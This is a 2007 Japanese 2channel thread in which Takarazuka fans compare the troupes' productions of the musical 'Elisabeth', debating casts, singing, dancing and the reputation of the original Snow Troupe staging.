842 ：名無しさん＠花束いっぱい。：2007/07/24(火) 19:45:24 ID:vc6RzBj3

まあ、意見はそれぞれ
ミズも良いと思う
歌も本人比で良くなってた！演技もよかった！

しかし、歌うまいやん！てなってしまうと
歌劇団は「あっ！やっぱ歌下手でもいけるんや！
まあ、ヅカファンは幻聴で許してくれるやろ☆」
てことになってしまいそうで、個人的に心配orz

843 ：名無しさん＠花束いっぱい。：2007/07/24(火) 20:54:16 ID:laf+b5t2

>842
心配しなくても
ミズトート、内部評価は非常に低いから
劇団も判ってる。

844 ：名無しさん＠花束いっぱい。：2007/07/24(火) 23:02:46 ID:UUYqOrzN

マスコミ評価は高いようですよ。

845 ：名無しさん＠花束いっぱい。：2007/07/25(水) 08:41:48 ID:AwYj5Kq9

花組の<闇が広がる>が体操のようだと聞いたので見てみたら‥
本当に体操だった‥

独り言すんません

846 ：名無しさん＠花束いっぱい。：2007/07/25(水) 09:15:14 ID:2lpZF8iW

エリザ本見てたら、稽古場の写真で革命家たちとトートが手を重ねてるところ、
舞台だとトートが先に手を出してそこへ重ねる形だけど、
写真ではトートが一番上に手をのせてるから、最後だってことだから
変ったんだね。
トートが積極的に誘っているってことかな。

847 ：名無しさん＠花束いっぱい。：2007/07/25(水) 13:02:44 ID:CMH33hN5

>844
当然でしょ。
ミズのバックに、メディア系に超強い人達がついてるんだから。
本音はともかく、表向きは大絶賛だねｗ

848 ：名無しさん＠花束いっぱい。：2007/07/25(水) 13:27:29 ID:zzzLpRv9

でも大劇の新聞評は酷かった。
新聞には弱いの？

849 ：名無しさん＠花束いっぱい。：2007/07/25(水) 13:38:22 ID:JpJRtIXE

>848
朝日新聞の記事なら、大劇場公演の内容というよりも
再演を重ねる劇団や演出家のその方向性についての疑問が呈されたものだったけどね。

850 ：名無しさん＠花束いっぱい。：2007/07/25(水) 13:39:22 ID:hg13mCVq

ヅカ嫌いな記者だったんだろ

851 ：名無しさん＠花束いっぱい。：2007/07/25(水) 15:00:10 ID:+hbuQKc2

>>845
声の相性の良さといい、トートの鬼畜っぷりとルドの怯えっぷりといい、
花の闇広大好きな自分だが

それについては否定しないorz

852 ：名無しさん＠花束いっぱい。：2007/07/25(水) 20:23:01 ID:8+QmgSBp

>>847
メディア系に超強い人達って？

853 ：名無しさん＠花束いっぱい。：2007/07/25(水) 20:36:46 ID:SPtrNjgt

特集本のエリザベートⅡ、１５ページの２段目１９行目に誤植を発見
×　水：そうかもしれませんね。私はスミレさん（春野）さん

スミレさんさんになってるぞ。他のところは、あさこさん（瀬奈）の女役と･･･
と問題なし。まだ１５ページなのに先が思いやられる。
出版担当者しっかりしてくれ！

854 ：名無しさん＠花束いっぱい。：2007/07/25(水) 22:26:20 ID:JFYQUv8b

おさゆみの闇広はプロダクションノートのが一番好きだったりする。

855 ：名無しさん＠花束いっぱい。：2007/07/25(水) 23:37:36 ID:LEGsL/xx

＞８４５
おさゆみ体操には見えないけど・・・。
あの、ゆみこさんがすげー引っ張られてるところ、むしろ好き。

856 ：名無しさん＠花束いっぱい。：2007/07/25(水) 23:38:14 ID:j/Yxu3Mb

ｵｲﾗは体操というより、段取りこなしてます、に見えた

857 ：名無しさん＠花束いっぱい。：2007/07/26(木) 00:20:29 ID:jwLEkmn4

オイラは、二人が向かいあって手を組むところはゆみこが引きずらてる感じでいいなと思ったけど、
おさがゆみこを後ろから抱く振りのところは段取りっぽく見えたな～。
歌は言わずもがな耳福～

858 ：名無しさん＠花束いっぱい。：2007/07/26(木) 00:23:57 ID:TXX0TmSV

>>853ｽﾚﾁだが、レビュー本は宙のコーナーで、
もっと無茶な間違いをやらかしている。

フェルディナンドって誰だ～っ

どちらも実際ある名前だけどさ。

859 ：名無しさん＠花束いっぱい。：2007/07/26(木) 16:27:21 ID:B/2OB2Ib

評判よかったから、昨日宝塚初めての友人をさそってエリザ行ったけど、主演であの歌のレベルは許されるの？と驚いてた
ただダンスとビジュアルは良かった

860 ：名無しさん＠花束いっぱい。：2007/07/26(木) 17:00:07 ID:U6Y0KU2G

>>859
どこで評判良いの？

861 ：名無しさん＠花束いっぱい。：2007/07/26(木) 17:53:09 ID:AiCo9NyF

>859
そら驚くけど
星はもっと驚く
そして、ガラコンで何故か選ばれた
選ぶなら一路のような気がするのは俺だけ？？

862 ：名無しさん＠花束いっぱい。：2007/07/26(木) 19:37:19 ID:gAq25mny

>861
今年初めのガラコンは、メンバーは選ばれたっていうより
最初からまず、マリコ（＆ノル）が中心になって企画して
それに彼女たちに絡んだＯＧを中心にセレクト
プラス客寄せ用ズンコが選ばれたって感じだけど？
マリコってなぜかＴＣＡに顔が利くみたいだし。

863 ：名無しさん＠花束いっぱい。：2007/07/26(木) 19:54:19 ID:Z50gCJr3

ズンコとトート競演なんてマリコも勇気あるなぁとオモタよ。
本当に分かってないのか自虐ギャグなのかは分からんが…
でもそこまで開き直れることが舞台ではいい方向に作用したんだろうな。

864 ：名無しさん＠花束いっぱい。：2007/07/27(金) 11:26:15 ID:ocbp/IjE

>862
そうなんか！
お前が企画するな！と思ってもうたorz

>863
自虐ギャグ以上の
何かを感じる
鈍いだけか？？
まあでもあれで３年やったてことは
マリコ人気あったんよな？？

865 ：名無しさん＠花束いっぱい。：2007/07/27(金) 15:27:33 ID:zxO+vZgi

昨日月組のエリザ見てみた
歌えないうえに踊れないトート…さすがに見ていて厳しいと感じた
踊れないなら無理して踊らせなくてもいいかと…
一つ一つの動きがカッコ悪いんだもの　orz
花とか初演雪は歌えるトートだったしあんまり感じなかったけどさ

866 ：名無しさん＠花束いっぱい。：2007/07/27(金) 16:42:32 ID:i3YZ9Mc9

月のトートは突っ立ってるだけで良い。
ビジュアルですべてを忘れさせてくれた。

867 ：名無しさん＠花束いっぱい。：2007/07/27(金) 17:37:07 ID:HtOmwNC6

今まさに月を観てるんだがやっぱり歌は・・・ｗ
本人比では上達したと思ったが。
でもビジュアルは１番好きなんだよね。
歌は一路さんが好きだ。
ビデオが劣化して最近あんまり観てないけど。
買い直すべきかな。

868 ：名無しさん＠花束いっぱい。：2007/07/27(金) 17:52:50 ID:ocbp/IjE

>867
買い直すならDVD
ずっと鮮明

869 ：名無しさん＠花束いっぱい。：2007/07/27(金) 21:09:11 ID:HtOmwNC6

>>868
もちろんですよ。
雪と星がビデオで、ついつい買い替えを先のばしにしてたんだけど。
先日見た時にもう限界だと思った（今日見た月が綺麗だったから余計に）。
懐に余裕がある時に買いに行きます。
今は再演の雪が届くのを心待ちにしてます。

870 ：名無しさん＠花束いっぱい。：2007/07/27(金) 23:08:59 ID:RGMwu01e

月エリザはデュエダンの衣装と振りと音楽、二人の表情が好きだ。
なんか幸せそうっていうか、楽しそうなんだよな。
しかし、さえちゃんのふらふらリフト見ると、
乙！と言いたくなるｗ

初めて聞いたが、再演雪のタンゴの音楽もかっこいいな。

871 ：名無しさん＠花束いっぱい。：2007/07/27(金) 23:59:29 ID:Aarbf8Lv

エリザベート個人的に各組こんな感じ
あくまで意見はそれぞれ

初演雪：全ての組がこうあってほしいと思う
俺にとってはこれが基本のエリザ

星：開いた口がふさがらない衝撃の連続
トートはボソボソ言ってて何言ってるかよくわからん
森○一の生霊が乗り移ったのだろう

宙：個人的にお花様以外どうなんだ？
ズンコ人気あるが、全てが棒読みに聞こえるのは俺だけか？
その上、ルキーニが全てを潰す

花：初演雪にひけとらず。
ただ個人的にルキーニはただのチンピラにしか見えなかった

月：マリコの洗礼を受けたサエコとおばさんエリザ(オカマにしか見えん)
まあ、結果はそういうことだが、トップ以外がその分がんばる

今回雪：記憶に残るはハマコのみ
闇が広がるは客席まである意味闇が広がる

872 ：名無しさん＠花束いっぱい。：2007/07/28(土) 00:00:09 ID:Aarbf8Lv

873 ：名無しさん＠花束いっぱい。：2007/07/28(土) 00:13:29 ID:r47yPRi0

わたしは、初演雪の一路トートの歌に笑ってしまうクチ。
あの大げさな感じが、他と合っていない気がするので。

874 ：名無しさん＠花束いっぱい。：2007/07/28(土) 00:34:45 ID:M81gH+An

871ﾀﾝと雪以外ほとんど評価が正反対で笑う

雪は基本　最高に好き　歌、芝居共に良い
星はこういうのもありかな　綺麗で芝居が繊細
宙は演技については深く考えず、コンサートとしては良い
花はオサ以外のキャスト全て×　私の中では最低のエリザ　軽い、品がない
月は雪の次に好き　主演は勿論脇まで芝居が上手い、トートが綺麗で雰囲気が良い

本当に人それぞれだね

875 ：名無しさん＠花束いっぱい。：2007/07/28(土) 01:01:52 ID:rH3OtFIp

>>872に一路さん歌以外は同意
たぶん好きな組とかジェンヌさんとか、
外部の演劇、ミュージカルの趣味とかも合いそうｗ。

876 ：名無しさん＠花束いっぱい。：2007/07/28(土) 01:06:00 ID:rH3OtFIp

新雪は基本に忠実という意味では初心者にお勧めかもね。
ただ見慣れたものにしてみればあっさりし過ぎというか・・・。
という自分はオサトートがNO1ですが。

877 ：名無しさん＠花束いっぱい。：2007/07/28(土) 01:53:08 ID:DcBbQKgD

トート
姿月＝一路＞春野＞水＞彩輝＞麻路

エリザベート
花總＞瀬奈＞あと残り

フランツ
和央＞高嶺＞彩吹＞稔＞樹里＝初風

ルキーニ
湖月＞音月＞霧矢＞轟＞瀬奈＞紫吹

こんな感じかな、私は

全体的には宙組が一番「エリザベート」というミュージカルを
きちんと表現できていたように思う　他の組は演者によって
いい部分もあるが、エリザベートの気高さ、フランツの孤独
ルキーニの蛮勇、トートの魔というもののバランスがよくなかった

878 ：名無しさん＠花束いっぱい。：2007/07/28(土) 08:03:03 ID:h1tZIUuj

湖月が最高って…ありえない。自分の中では紫吹と双璧の最悪ルキ。
ルキーニは誰がどうやっても轟を超えられない。
でも音月はその次を行くくらい健闘してたと思う。

879 ：名無しさん＠花束いっぱい。：2007/07/28(土) 09:39:41 ID:rH3OtFIp

春野トート

花總シシィ

高嶺フランツ

轟ルキーニ

タールドルフ

やはりこの組み合わせが最強だと思う。
ずんこは歌大根（声量はあるけどリズム感ゼロの台詞棒歌い）だと思うからあまり好きでない。

880 ：名無しさん＠花束いっぱい。：2007/07/28(土) 09:46:39 ID:0g2thyMQ

>>879
スレチ

http://hobby9.2ch.net/test/read.cgi/siki/1169877130/

881 ：名無しさん＠花束いっぱい。：2007/07/28(土) 09:59:08 ID:OVHYZPWG

総合的に、
トート
一路＞春野＝姿月＞彩輝＞水＞麻路
(ビジュアルだけならさえちゃんが一番かもｗ)

シシィ
花總(初演)＞花總(宙)＞瀬奈＞大鳥＝白城＞白羽

フランツ
高嶺＞初風＞和央＞樹里＝彩吹＞稔

ルキーニ
轟＞霧矢＞音月＞瀬奈＞紫吹＞湖月
(でも桂ちゃんとあさこの間で合格ラインを引いてしまう)

ルドルフ
彩吹＞大空＞絵麻緒＝香寿＞朝海＞凰稀

ビジュアル重視なら、
朝海＞凰稀＞絵麻緒＝彩吹＝大空＞香寿
歌重視なら、
香寿＝彩吹＞絵麻緒＞大空＞朝海＞凰稀

ルドルフが一番悩む。
皆タイプが全く違う。

882 ：名無しさん＠花束いっぱい。：2007/07/28(土) 11:29:30 ID:DvKq71UI

『「エリザベート」私的ベストキャスティング』スレ（>>880　参照）へどうぞ。

883 ：名無しさん＠花束いっぱい。：2007/07/28(土) 11:39:41 ID:37AOawCt

ここにも厨が来たのかって感じだなあ。
比較や＞付けは荒れる元なのに分かってない椰子大杉。

884 ：名無しさん＠花束いっぱい。：2007/07/28(土) 12:22:24 ID:9+MQzaJ5

エリザの生は月と今回の雪。初演雪と花は映像。
私の印象は、

初演の雪は主要な役どころ拮抗型。
（トート・シシィ・フランツ・ルキーニ・ルドルフ・ゾフィ）

花はトート・シシィ突出型。

月はあざといシシィの突出型。他、ぽつぽつ。

今回の雪も、主要６役の拮抗型。

トート比較
初演雪はすべてお見通しの貴公子トート。

花はおれはすごいだろう、自信満々型トート。シシィを追いながらも他にも発信。

月はシシィがたててくれるから、２枚目で行きますトート。

今回の雪はひたすらシシィを追っている、シシィしか見えない一途なトート。

885 ：名無しさん＠花束いっぱい。：2007/07/28(土) 14:16:40 ID:OVHYZPWG

自分の好みを言っただけで厨扱いかよ・・・

別に実力がどうのまでいってないが・・・

886 ：名無しさん＠花束いっぱい。：2007/07/28(土) 14:27:58 ID:hLx4f5Q1

>884
水トートが一番シシｲへの愛を感じない・・・・。
俺かっこいいだろ、みたいなナルシストにしか見えない・・・。
あの、手の動き・・・ちょっとうるさいし。

887 ：名無しさん＠花束いっぱい。：2007/07/28(土) 14:30:56 ID:229ZD/m/

「＞」で比較するのは、荒れるもとなので、どこのスレでも
みなさん嫌がります。
たとえ、単なる好みを語っただけでもです。

888 ：名無しさん＠花束いっぱい。：2007/07/28(土) 15:08:38 ID:E3aL+rmk

>886
胴衣。
今回のが一番愛を感じない、トートもシシィも。
どちらもナルで自己愛な似たもの同士。
だから最後の昇天は違和感アリアリ。

889 ：名無しさん＠花束いっぱい。：2007/07/28(土) 15:18:03 ID:dE/3AfZ6

いくらヅカ版の主役はトートでもやっぱり真の主役はエリザベートだから
それぞれの印象はシシィの出来にかなり左右されると思う。
特にトートとフランツとルドルフ。
絡みのないルキーニはあまり左右されないかも。

890 ：名無しさん＠花束いっぱい。：2007/07/28(土) 15:32:37 ID:ALVza80T

タイトルロールだからとなみだけ取り沙汰されるけど
水トートの役作りもどうなんだ？って話だよね。
昇天が違和感ありまくりじゃいかんだろw

891 ：名無しさん＠花束いっぱい。：2007/07/28(土) 16:38:52 ID:DvKq71UI

違和感ないけど。
よかったねーと思った。

892 ：名無しさん＠花束いっぱい。：2007/07/28(土) 16:42:33 ID:qQR2Jpnf

最後通告の場面
トートがタンスの中にいつ仕込まれたのか
ゆみこの熱唱無視してオペラでずっと見てたけど
ぜんぜんわからなかったよ

893 ：名無しさん＠花束いっぱい。：2007/07/28(土) 18:27:25 ID:T2xErV1L

ナルシスのトートかなあ
むしろ逆に思えたけど、
今回の雪組を見て
今までの５組のトートのほうが
エリザへの愛が希薄だったなと
思ったクチです

894 ：名無しさん＠花束いっぱい。：2007/07/28(土) 18:47:43 ID:r47yPRi0

私も今回初めて｢トートとエリザ、良かったね」と思った。
というか、今まではラストまで来ると、かなり飽きてたんだな・・・。
最後の法廷のあたりなんて、「ああ、好きなシーン、全部終わっちゃったよ」みたいな。

でも今回、最初はもひとつかな～と思って観ていたのに、だんだん引き込まれ
ラストでフランツとトートが愛を競い合って歌うところが、すごくいいと思った。
あそこで初めて火花が散るんだな～と。面白かったよ。

895 ：名無しさん＠花束いっぱい。：2007/07/28(土) 18:48:33 ID:Yv96rlyK

なんか今回のエリザ叩かれてるけど東京みたらとなみ普通に上手だったぞ
おまいら叩いてるヒマあったら見に行く努力をしろよ

896 ：名無しさん＠花束いっぱい。：2007/07/28(土) 18:49:44 ID:eD2UNWDf

今回の雪が今までで一番好き

897 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:01:09 ID:y+I6Ks8t

エリザベート
歌える（歌だけでも行く）
花・みどり・となみ
踊れる
花・あやか・みどり・あさこ

全体的に一番好きなのはみどり。
顔・実力・ムード的に似合っている。特に、強さの表現が良い。
強すぎと言う人が居るが、エリザベートは強くなきゃと思う。
となみは見る前は歴代最低か？と思っていたが良い意味でビックリしまくり。
まず歌上手い。歌下手と思っていたが、音程も取れてる。誰かが言ってた
となみは歌上手いが、声がまずいという意味がわかった気がする。
一緒の初心者もとなみ絶賛だった。

898 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:04:46 ID:YC3JGPb2

水は丁寧に演じてた気がするけど、
どーみても歌、演技はいっぱいいっぱいだよ。
だから、良くも悪くも水は水トート。
となみは演技はとなみ比で頑張ってたけど歌はフラフラで歴代で一番下手だと思う。
雪時代のお花は声量は弱かったけど音感は抜群だった。
ともかく、ここ見てる人は月ぐらいしか生で見れてないだろうから今回の雪が素晴らしいなんて言えるんだろ。

899 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:06:54 ID:G8tUThGL

最終答弁好きだけど、♪2人の男が1人を愛する♪という歌詞にいつも萎える。
トート完全に人間扱いかよっていう…。
「2人の王が」にしたらいいのに。

900 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:27:22 ID:r47yPRi0

エリザの歌詞で質問があります。
エリザベートがゾフィに叱られてフランツに
「おかあさまがいじめるの～」の後ですが、｢○○よーーー！」って歌い上げ、
なんて言ってるのですか？

901 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:28:12 ID:fRt9VTVw

>900
ここは地獄よ

でなかったろうか

902 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:30:19 ID:HfYyIeAl

>898
ふつーにｼﾞﾌﾞﾝも周りも初演雪から全部見てるけど？
今回のはトートが歌が上手ければ
歴代でもかなりハイクラスに評価されたのにね。
ミズなりに頑張ってるけど、どうしても過去と比較しちゃうし
やっぱミューだから歌で聞かせられないと厳しい。
となみが大分良くなったから。
大劇初日の頃はとなみもかなり酷かったけど。
あと、相変わらずで、歴代サイテーなのは革命家とヴィンディッシュ。
イマイチなのがマダム・ヴォルフ。

>897
となみほどじゃないかもしれないが
ミドリもダンスはかなり下手だった。
つか、アサコ以外ダンサー皆無＞シシィ
あやかは努力でそこそこ踊れるようにはなってたけど。
花總も歌を聞きにってほど歌は上手くないし
ダンスは手足が長いから様にはなるけど全然上手くない。
歌の技術だけならミドリが一番まともだったとｵﾓ。
好き嫌いはまた違うけどね。

903 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:32:26 ID:aDEzznHx

>900,901
つ＜ここは牢獄よ

904 ：901：2007/07/28(土) 19:35:04 ID:fRt9VTVw

>903
フォロー㌧！

905 ：名無しさん＠花束いっぱい。：2007/07/28(土) 19:52:26 ID:PJn2r4DH

フィナーレのデュエダン、花組はお話にならんかった。
あんな振付しかつかないくらいだから
アップアップでも一応踊ろうとしてるとなみの方が
みどりよりは踊れるんじゃないの。

906 ：名無しさん＠花束いっぱい。：2007/07/28(土) 20:03:07 ID:oYMAKlcS

>902
みどりはチャーリーとは普通に踊ってたよ｡

あやかは､ダンサーと言われるナツメやシメとそれなりに踊ってた｡
ヤンもあやかを好んでたくらい｡
小さな頃からバレエのタイプじゃないけど､ダンサー男役に好かれてたよ｡
花も､普通に足あがるし､リフトも重くないよ｡
雪で星奈と同じ振り踊ってる時､比べて酷かったという印象なかったもの｡
単にエリザのフィナーレの振りが変なんじゃない？
タンゴはジェンヌには親しみ深くないとかさ｡

907 ：名無しさん＠花束いっぱい。：2007/07/28(土) 20:05:02 ID:DDch0jGX

個人的な順番付け
若さ(見た目)
雪・お花＞となみ＞宙・お花＞みどり＞あさこ＞あやか
雪のお花は断然若い。
あさこは年の割には凄い若く見えた。
あやかはなぁ…きれいなんだけど老けて見える。
みどりは年齢より５歳くらい上って感じ。
となみは実年齢より若く見える。
みどりととなみが同じくらいの年齢で演じていることを
考えると、となみはやはり若さがあるなぁと思う。

よさとは別の話ですが。

908 ：名無しさん＠花束いっぱい。：2007/07/28(土) 20:16:05 ID:Yv96rlyK

組長ときたろうがマダムウ゛ォルフのコレクションの娼婦を喜んで抱えてはけるところがなんともwww

909 ：名無しさん＠花束いっぱい。：2007/07/28(土) 20:17:21 ID:r47yPRi0

>901.903 やっとわかってすっきり。ありがとうございました。

910 ：名無しさん＠花束いっぱい。：2007/07/28(土) 20:49:28 ID:qB0bNY2a

>906
娘役向きの振りの時はね。
レ・シェルバンの謝振り付けの革命の踊りは違い歴然だったよ。
優里ちゃんが断然上手かった。
つか、涼しげな顔でスイスイ踊ってたのは優里ちゃんだけだった。
１週間ぐらいしか出てないけどｗ
代わりに入ったまひるは全然踊れてなかった。
そうするとお花様が実は踊れてないのが全然判らなくなったｗ
どっちにしても、娘１としては充分大丈夫なレベルだったけどね＞お花様

ミドリはダンスはかなりやばかったよ。
となみみたいにトロくはないけどｗ

911 ：名無しさん＠花束いっぱい。：2007/07/28(土) 21:36:07 ID:oYMAKlcS

>910
別に花がダンサーとは言ってないんだけど｡
宝塚の娘役(トップ)としてはいいほうだって話をしたんだけど｡

912 ：名無しさん＠花束いっぱい。：2007/07/28(土) 21:52:38 ID:gTUAoHz8

お花、娘1としてよいほう、というレベルよりずっと上じゃん。
なにが優れているという突出したものは小顔とスタイルだけだが
娘1として文句なくバランスのよい実力を持ち、エリザもお花のが一番よかった。
ていうか、ここはエリザスレだよね？

913 ：名無しさん＠花束いっぱい。：2007/07/28(土) 22:07:49 ID:i5yKvNP0

819の者です。友人には、初演雪組のDVDを視ました。「女性が演じてるにしては、レベルが高いね」と。
トート…身長以外言うことなし。
エリザ…お人形さんみたい。歌がとても旨い訳じゃないけど、一生懸命さが伝わった。
ルキ…まったくもって言うことなし。
ゾフィー…見た目がちょっと作りすぎ。でも演技と歌はすごい
ルド…見た目以外はすごく良いのに
てな感じの感想でした。「ヅカも中々のもんだね～。今上演してるのDVD出たら買うわ～。」と、言われました。

914 ：名無しさん＠花束いっぱい。：2007/07/28(土) 22:09:24 ID:oyFYmXE4

月エリザを観た友達の感想。
トートが国生さゆりにしか見えない
シマシマの人（ルキー２）、格好いい

915 ：名無しさん＠花束いっぱい。：2007/07/28(土) 22:10:09 ID:DDch0jGX

新公エリザ、こういっては失礼だが年々レベルが下がっているような気も
してしまうんだが…。
みりちゃん・グン・あきよ・あかり・あすか・ねね・さゆ
…。歌えない人が居ないのは嬉しいが。

916 ：名無しさん＠花束いっぱい。：2007/07/28(土) 22:34:32 ID:PBsVz3Lj

新公は初演雪がネ申だから、下り坂感があるのは致し方ないかも。
またいつかネ申がかった新公が観たいな

917 ：名無しさん＠花束いっぱい。：2007/07/28(土) 22:50:46 ID:OVHYZPWG

同意。
初演雪は主役二人以外も凄かったからなぁ。
今は、誰か数人がましでなんとか回ってるって感じで・・・
誰かの模倣(しかも真似しきれてない)で、
逆にせっかくいい役に当たったのにと思ってしまう。

918 ：名無しさん＠花束いっぱい。：2007/07/28(土) 22:53:56 ID:sxZwOWXQ

２年前の月エリザを観て感動した友達が、また観たいと言ったので連れてった。
友達「何でこの人がトートなの？低いとこの歌の歌詞が全然聞き取れないし、
何かくねくねした江頭みたいで、思わずシャンとせぇと尻叩きたくなった」
しきりにトートじゃないとショックを受けてた。
こっちは江頭で吹いてしまったがw

919 ：名無しさん＠花束いっぱい。：2007/07/28(土) 23:02:29 ID:lGd9F69E

今日初めて宝塚を観ました。
ミュージカルは普段の舞台とは違うのかもしれないけど、とても良かったです。
迫力があって感動しました。

髪にシャギーが入った黒天使さんはどなただろう、と思いながらプログラムの
キャスト表の名前と写真を見ながら探してみましたが、メイクが違うと全然
わからず・・・（汗

でも観に行ってホント良かったです。

920 ：名無しさん＠花束いっぱい。：2007/07/28(土) 23:25:51 ID:wblYb+A6

思い出を美化するのは自由だが、
初回雪組のムラは入りが良くなかったｗサヨナラ公演だったけど。

921 ：名無しさん＠花束いっぱい。：2007/07/28(土) 23:33:37 ID:gTUAoHz8

>>920
誰も初演雪の動員のことなど話題にはしていませんが？

922 ：名無しさん＠花束いっぱい。：2007/07/28(土) 23:41:41 ID:wblYb+A6

美化週間

923 ：名無しさん＠花束いっぱい。：2007/07/28(土) 23:55:23 ID:r47yPRi0

初演のって、フランツの歌い方が好きじゃないなあ。
あと、タータンルドはうまいかもしれないが、どうしても映像としては
受け入れなれない。おばさんにしか見えない。
古いからかな、でも轟ルドは古く感じない。今観てもすごいと思う。

924 ：名無しさん＠花束いっぱい。：2007/07/29(日) 00:00:24 ID:nlxijUX2

初演当時のメンバー（歳取らず）で今エリザベート上演したら
ムラ東宝両方2ヶ月公演いけるわ。ドリームチームだったよ。

925 ：名無しさん＠花束いっぱい。：2007/07/29(日) 00:06:52 ID:2hynjNuH

>923
理事のルドを観た事があるとはすごいな

926 ：名無しさん＠花束いっぱい。：2007/07/29(日) 00:08:37 ID:jiaG+krb

>924
多分ごく一部を除いて逆に叩かれまくるだろうね＞初演雪メンバー
初演ってのは、ビギナーズラック。
皆最初に見たのがスタンダードになってるからね。
見てない人だと想像で実際以上に期待が膨らむし。
その後に色々公演があったから
今やったら意外とイマイチって言われるのがオチだよ。

927 ：名無しさん＠花束いっぱい。：2007/07/29(日) 00:25:56 ID:lMyKW4BW

歌だよ、歌。
ちゃんと歌えるトップで一度エリザやってみなよ。
演目名だけで客席が埋まるのはよくわかったから、
今度は感動させてくれ。

928 ：名無しさん＠花束いっぱい。：2007/07/29(日) 00:33:34 ID:vLbqcBJJ

初演の成功がなければ、度重なる再演も無かったわけで
初演をビギナーズラックと言う人ってどうなの？

どの版が一番良いかは人それぞれにでも初演に対して敬意は払ってほしい
誰がやってもあたったとはいえないでしょ

エリザに限らず、ベルバラもミーマイも他の再演を望まれる作品も
初演があたらなければ次はなかったんだから

929 ：名無しさん＠花束いっぱい。：2007/07/29(日) 00:34:26 ID:QbJZGAfM

とりあえず生で見てないやつが初演を語るな。
感想書くときは、「～組は生で見てないです」と一言書いて欲しい。

930 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 01:16:47 ID:myn/v+pf

>928
そうだよ。
雪エリザは大劇初日から見てるけど
今、色々なのを見た観客が見て、伝説化してるだけの評価が得られるかは疑問。
確かに最初にやる人たちのレベルが低ければ成功はしなかっただろうけど
どちらかといえば演者以上に、作品の完成度の方が高い。
つまり音楽と演出etc.
だからこそ、？？？な人が演じてもそれなりに客が入る。
ベルばらみたいに各組スター投入の役替わりしなくてもね。

よくあることなんだけどね。
昔食べておいしい！って感動したものが
その後色々おいしい物を食べ歩いた後に食べると
アレこの程度だったっけ？って思うのと同じ。

初演のエリザから全エリザ見てるけど
初演メンバーが全てすばらしいとはとても思えない。
その後の各エリザに、それぞれここのこの部分、このキャストは今まで最高！というのがある。
やらない方が、ずっと「初演は神のようにすばらしい！」って伝説化できて良いと思うよｗ

931 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 01:35:24 ID:vLbqcBJJ

＞９３０
ごめん、なにが「そうだよ」なのかがわからない

>つまり音楽と演出etc.

>初演メンバーが全てすばらしいとはとても思えない。

↑それはそうでしょ、
ただ最初に成功させたバージョンを
ビギナーズラックと言わないでといいたいの

私も全組＆東宝版見て、初演以上に好きなキャストたくさんいるよ
でも最初が良かったから、この作品は認められここまで来て
自分が一番好きなキャストにも会えたんだと思ってる

作品の完成度は　音楽と演出etc.　＋キャストで決まるんだから

932 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 11:00:39 ID:0rScA3gK

シンガーエリザベートっていないよね。
かなみん、みなみ、かおり、せあら、れみ辺りに将来やってほしい

933 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 11:18:21 ID:7Hd5J7Zz

新公でもシンガーじゃない子がやってる気がする。
歌上手い子は、結構ふっくらしてる子が多いから、
ビジュアル重視になるのかね。

しかしかなみんとか、TCAとかのイベントでもいいから見たい＆聴きたい。

934 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 11:37:03 ID:SCWs28g0

その前にせあら･れみに突っ込もうぜ。

歌姫は背が小さくてスタイルがあんまり…な子が多いからねー。

935 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 12:34:54 ID:prdwzOqf

そういえば月組の配役が発表される前、まいまいシシィなんて噂もあったような。
歌だけならちょっと聴いてみたかった。

936 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 12:51:05 ID:0prO/x+Y

当日券って、何時間ぐらい前に行けば手に入ると思う？
昨日友達と行ったんだけど、十二時ごろにはもう売り切れてたorz

937 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 13:46:02 ID:eqJeut6l

>931
問題点ずれてない？

元々924が、
「今」
「初演のメンバーで２ヶ月公演しても東西ともいける」
って豪語したから
今やったら叩かれるって書いただけだけど？
その後、各キャストで各々の観客がマイベストを見つけてきてる今
初演のメンバーでやってそのまま「神」扱いはされないってこと。
やらない方が、初演が伝説化する。
今、もし年を取らずにそのまま再演できても、
キャストによってはイマイチって言われるだけだよ。
ましてウィーン版引っ越し公演を見た人が多数いる「今」なら。

初演をやたら「神」扱いするファンには判らないのかもしれないけど。
その意味で、初演はビギナーズラック。
できがさほどでなかったキャストまで「神」扱いされてるって点がね。

938 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 14:04:01 ID:6PSb9vSF

ビギナーズラックって、賭け事にしか使わない言葉だと思ってたよ
言いたい事は分かるし、自分も937には概ね同意だけど、
ビギナーズラックと言う言葉が悪い気がする。

ちなみに、再演雪で初めて生エリザ見てきました。
私にとってはこれが初体験だから、どのキャストもとても良かったよ。

939 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 14:48:00 ID:E4npURO+

初演雪はリヒテンシュタインが黒歴史だ。
史上最悪と言ってもいい。

940 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 15:06:48 ID:DPdibhp2

まあ、評価は人それぞれ
究極なんでもいいが
もう
「歌に感情がこもらないと」「芝居がどうの」はいらんので
やっぱミューは歌うまい方が良いと俺は思う

ゆみこフランツ記憶に残ってないが、
「歌上手くてよかった」とオモタ
山口祐一郎（字あってる？）リズム感ないので、歌がお経みたいに
「個人的には」聞こえるが「歌上手くてよかった」と思う

941 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 15:17:12 ID:6cbsJUm9

とにかく、安蘭＆遠野にやらせてみようよ。

942 ：名無しさん＠そうだ選挙に行こう：2007/07/29(日) 16:08:29 ID:prdwzOqf

>>938
ビギナーズラックって言い方は自分も違和感があるなぁ。
ラッキーだった、ってことだよね？要するに。
ビギナー（初心者）という言葉を使うと、反発を招きやすいと思う。

初演の衝撃が本来の技量等にプラスされて評価されているという点で
初演メンバーが「ラッキーだった」というのであれば、自分も同意する。
もちろん、初演メンバーが「宝塚版エリザ」をゼロから作り上げた功績は認めるし敬意も払うけれども
ここまで成功したのはあのメンバーだったからこそ、とまでは言い切れないと思う。
